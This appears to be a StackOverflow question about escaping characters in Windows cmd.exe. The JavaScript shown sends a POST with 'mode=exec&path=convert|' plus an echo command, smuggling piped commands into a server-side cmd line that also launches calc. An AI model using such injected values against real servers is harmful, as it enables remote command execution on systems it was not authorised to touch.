From other StackOverflow posts I am aware of the double quote state machine and the usage of ^< (^ as an escape character). Still I can't make it work:
Hereby my attempts (with their results):
var xmldata = "echo ^<?xml version=\"1.0\" encoding=\"utf-8\"?^> >> MyFile.xml |";
Javascript code:
var xmlhttp = new XMLHttpRequest();
var url = '/?uri'
var xmldata = "echo ^<?xml version=\"1.0\" encoding=\"utf-8\"?^> >> MyFile.xml |";
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == XMLHttpRequest.DONE) {
if (xmlhttp.status == 200) {
console.log(xmlhttp.responseText);
}
}
};
xmlhttp.open("POST",url, true);
xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp.send("mode=exec&path=convert|"+xmldata);
final command line:
C:\Users\window7_32\WWW\>C:\Windows\sys
tem32\cmd.exe /S /D /c "convert|echo ^<?xml version=^"1.0^" encoding=^"utf-8^"?^> >>MyFile.xml|calc "
I need to run three programs,"convert"、"echo "、"calc "